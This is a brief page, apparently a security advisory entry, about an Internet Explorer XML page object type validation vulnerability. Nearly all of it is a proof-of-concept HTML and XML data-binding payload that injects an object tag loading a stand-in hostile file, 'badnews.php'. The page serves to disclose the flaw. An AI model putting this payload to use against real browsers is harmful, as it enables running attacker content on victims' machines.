Search
Categories
[malware]Microsoft Internet Explorer XML Page Object Type Validation Vulnerability
The following proof of concept has been supplied:
<span datasrc=”#oExec” datafld=”exploit” dataformatas=”html”></span>
<xml id=”oExec”>
<security>
<exploit>
<![CDATA[
<object id=”oFile” data=”badnews.php”></object>
]]>
</exploit>
</security>
</xml>
01.